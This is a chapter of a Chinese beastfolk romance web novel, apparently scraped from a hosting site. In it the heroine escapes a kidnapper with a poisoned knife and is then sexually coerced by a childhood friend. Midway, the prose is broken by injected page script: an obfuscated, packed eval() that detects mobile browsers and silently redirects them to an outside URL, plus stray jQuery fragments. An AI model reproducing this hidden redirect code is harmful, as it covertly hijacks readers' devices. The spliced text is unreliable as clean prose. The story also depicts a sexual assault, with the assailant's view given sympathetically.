23. 蝴蝶

作品:《兽世悠闲生活日常

    承翼部落举办求偶盛会的那天,玫瑰的香气在闷热的空气中浓得化不开。


    春棠白色兽皮裙的裙裾拂过玫瑰鲜红的花瓣,沾染了甜腻的花香。


    今天太热了,不想吃热食,早饭做生鱼片和几道凉菜吃吧。


    紫苏叶能增香、杀菌,每次做生鱼片时,她都会采摘一些。


    在山间转悠了几分钟,阴润之地找到一丛野生紫苏,叶底生着白绒,触感粗糙。


    春棠察觉到山间突然掀起不自然的气流,不是洋溢着夏日气息的热风,是巨大的羽翼在空气中扇动带来的风。


    心跳突然加速,她察觉到危险,刚抬脚没来得及跑,被一只大手从身后捂住嘴。


    “不要叫,否则我立刻拧断你的脖子。”


    身后传来雄性冷冰冰的声音。


    心脏不受控制剧烈地跳动,身体也微颤,但理智却异常清醒。


    她曾被家乡发生的连环奸杀案吓到,买了锋利的小刀随身携带,灵魂回到春棠的身体里后,携带多年的小刀不在了,感到很不适应,没有安全感,于是自制了一把小小的骨刀随身携带。


    与晏流医师相熟后,她请教了哪些草药有毒却不致命。她发现,会造成全身麻痹的草药最适合用来防身,于是将其捣碎后涂在骨刀上。


    在兽世的生活太安逸了,有时她会偷懒,只携带骨刀不涂药,今天正好涂药了。


    骨刀绑在她腿上,被白色兽皮裙的裙摆盖住,她不能莽撞使用,毕竟现在还不是必须动用它的时候。


    青光闪过,梓轩变成兽形,巨大的黑鸟展翅飞翔,利爪如铁钳般攫住春棠。


    树屋门口站着两名雄性兽人,负责看守屋内的罪人——柔嘉。


    柔嘉与黑岩部落的雄性合伙,残忍杀害多名承翼部落的兽人,夺取兽丹。


    因柔嘉是珍贵的雌性,所以没有判死刑。


    柔嘉被剥夺了自由,日日夜夜待在树屋里。任何一个雄性兽人都能来这间树屋,和柔嘉交|配。


    今日承翼部落举办求偶盛会,来找柔嘉交|配的雄性少了许多。


    巨大的黑鸟在空中飞翔,利爪里攫着肌肤如雪的雌性,低沉的声音从鸟喙流出:


    “放了柔嘉,否则我就杀了这个雌性。”


    春棠睫毛颤了颤。


    “梓轩,你疯了!!!”


    守在树屋门口的雄性兽人怒吼。


    梓轩声音冰冷:“快按我说的做。”


    负责看守的两名雄性兽人都认识春棠,她是苍梧部落的雌性,肌肤白得像雪,头发是罕见的浅粉色,还会吹笛。


    两名雄性压低声音交谈几句,达成一致,放柔嘉出来。


    “柔嘉,快上来,我带你离开。”


    柔嘉有气无力地爬到巨大的黑鸟身上。


    “不想这个雌性死的话,就不要立刻追过来,”黑鸟利爪攫着春棠,振翅腾空,“太阳升到中天时,我会放了她。”


    黑鸟巨大的身影在天空中逐渐远去,负责看守的雄性兽人急忙禀告首领。


    黑鸟的利爪很硬,春棠腰身被攫出青紫的痕迹,在高空中飞了那么久,腰疼得快要断了。


    春棠悄悄伸手,解开绑腿上的骨刃。


    小小的白森森的骨刀,比巴掌略长,锋利的刀刃上涂了毒草汁液。


    她做过实验,一滴毒草汁液能立刻让活蹦乱跳的鱼全身麻痹。


    握着骨刀的手不受控制发颤,春棠将舌尖抵在齿间狠狠一碾,疼痛让她冷静下来。


    柔嘉欺骗了那么多人感情,间接残忍杀害了那么多兽人,是个心狠手辣的人,想必梓轩也是个心狠手辣的人。


    成功救走了柔嘉,梓轩会放过她,让她平平安安回去吗?


    她不敢赌,也不敢相信心狠手辣的人。


    雌性与雄性天生力量差距太大了,她只能投机取巧,找准最恰当的时机,一击必中。


    腰疼得麻木了,春棠快要坚持不下去的时候,巨大的黑鸟敛了翅膀,缓缓降落。


    春棠从象牙刀鞘中抽出骨刀,青光闪过,趁黑鸟变人形时,她紧紧握着骨刀,用力一挥,锋利的刀刃刺穿雄性兽人粗糙的皮肤,毒药汁液渗进血肉里。


    春棠来不及拔骨刀,转身拔腿就跑。


    “啊!梓轩!”


    身后传来柔嘉的声音,春棠不敢浪费时间回头看,奔跑不停,白色的兽皮裙摆在盛夏的热风中翻飞,裙裾掠过青翠的草木,鲜艳的野花,无尽夏淡蓝色的花瓣。


    路如此漫长,仿佛没有尽头。


    春棠气喘吁吁,灌了满肚子的热风,喉管干裂地痛。


    “春棠!”


    漫长的路途尽头好似传来易安的声音。


    幻听了吗?


    青光笼着银虎疾速奔跑的身影,青色的光芒散尽,银虎变成银发蓝眸的少年。


    春棠一时间刹不住步子,撞进他怀里。


    春棠抬头,怔怔看着他淡蓝色的眼眸,与无尽夏的颜色很像。


    “易安......”


    她脸色苍白得近乎半透明,浅粉色的长发凌乱披散肩头。


    易安抚上她脸,小小的,冰凉如雪,“春棠,没事了,我会保护好你的。”


    春棠眼里泛起水光,全身心松懈下来,感到浑身疲倦,腰疼,腿也疼。


    “只有你来找我吗?晏流医师来了吗?”


    易安抚着她脸的手顿了顿:“当时我急着来找你,没有在意其他人。”


    春棠低头:“对不起,给你们添麻烦了。”


    “春棠,这不是你的错,我早就说过了,晏流不适合当伴侣。”


    “晏流医师很好,这件事和他一点关系都没有。”


    易安心口像被一块巨石沉沉地压住:“你那么护着他,那么喜欢他?”


    她和晏流医师交往的时间太短了,如今只是浅浅的喜欢。


    春棠无奈:“我只是在陈述事实。”她不想和他发生争吵,于是转移话题,向他道谢,然后说我们尽快回部落吧。


    易安沉默了半晌,没有答应和她一起尽快回部落,低低地道:“春棠,下个雨季我们结为伴侣吧,我会比晏流做得更好,更能照顾好你。”


    “易安,那天我说的都是真心话,我现在对你是妹妹对哥哥一样的喜欢,兄妹不能结为伴侣的。”


    “我们没有血缘关系,不是兄妹。”易安声音里压抑着什么。


    “我知道我们没有血缘关系,”春棠轻轻一叹,“我们尽快回部落报平安吧。”


    她转身朝部落所在的方向走去,易安注视她纤弱的身影越来越远,心里的恶念横冲直撞,快要压抑不住了。


    他突然发现这是个很好的机会,带她离开部落,她便只能依赖他生存,只能当他的伴侣。


    易安追上春棠,握住她雪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16238069|180161||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    白纤细的手腕:“春棠,下个雨季我们结为伴侣吧。”


    春棠蹙眉,不明白刚刚拒绝了,他为什么又说一遍。


    “易安,抱歉,”春棠再次认真拒绝,“对我来说,你就像哥哥一样重要,如果你不介意,我们永远做家人吧。”


    永远做家人。


    她永远也不要和他结为伴侣。


    易安眸光暗沉,像是被什么东西吞噬了,声音平静得可怕:“我们没有血缘关系,不是家人。”


    他伸手,捧着她雪白的脸,像是捧着柔软冰凉的雪。


    春棠皱眉,不适应与他亲密接触,想要挥开他手。


    “易——”


    易安低头,吻上她淡粉色的唇,她未说完的话含在唇齿间,被火热的舌搅碎。


    春棠眼睛蓦地睁大,用力伸手想要推开易安,可一点都推不动,她别开脸想要躲避他的吻,他手按在她脑后制止。


    她淡粉色的唇瓣像被露水浸湿的淡粉色山茶花一样柔软,唇齿间的味道像是清甜的花蜜。


    有火在他身体里燃烧。


    他手伸进她的白色兽皮裙里,摸到柔软细腻的肌肤,白雪一般的冰凉让他身体里的火更旺了。


    “唔唔!”


    春棠的呜咽声仿佛针扎进易安耳中,他稍微找回些理智,看见春棠含着泪水的浅翠色眼眸。


    他的唇从她淡粉色的唇瓣上,移到她眼睛上,舔干净她的泪水。


    “春棠,家人之间不能接吻,也不能交|配。”


    “我们接吻了,不能做家人。”


    春棠身体不受控制发颤:“我、我知道了,我们不做家人。”


    她雪白的耳朵生得极精致,易安吻上她耳朵,温热的呼吸烫红她耳尖,“我们离开部落,结为伴侣吧。”


    不要!


    春棠身体颤得更厉害了,拒绝的话含在嘴里不敢吐出来,怕刺激他做出更过分的事。


    “我、我很喜欢在部落生活,”春棠声音微颤,“离开部落生活很危险的,晚上睡觉会睡不安稳,说不定会遇见流浪的兽人。”


    春棠小心翼翼地撒谎:“易安,如果你真的想和我结为伴侣的话,那就等下个雨季吧,你现在是妍宓的伴侣,你要对妍宓负责。”


    “真的吗?”易安问。


    春棠睫毛微颤,不敢与他对视:“真的。”


    “证明给我看,春棠,如果你没有骗我,那我们现在交|配吧。”


    一阵剧烈的恶心突然涌上心头,春棠闭了闭眼:“易安,你现在是妍宓的伴侣。”


    易安平静地说:“很多有伴侣的雄性也会与别的雌性|交|配,春棠,你在骗我,你不想和我结为伴侣。”


    “我没有骗你......”眼泪突然涌出来,春棠啜泣,“易安,求你了,不要这样,我很害怕,我们回部落好不好?”


    易安捧起春棠的脸,吻去她的泪水:“我不会伤害你的,不要害怕。”


    他灼热的吻沿着她雪白细腻的肌肤下滑,像融化的蜡,烫得她颤栗。


    “易安,不要这样,”春棠声音发颤,像一只被钉住的蝴蝶,用尽全身力气挣扎,雪白的翅膀徒劳地颤动,被牢牢钉住,无法逃走,“等我们结为伴侣后,再交|配好不好?”


    “晏流也没有和你结为伴侣,为什么他可以,我不可以?”


    “春棠,明明是我认识你的时间更长。”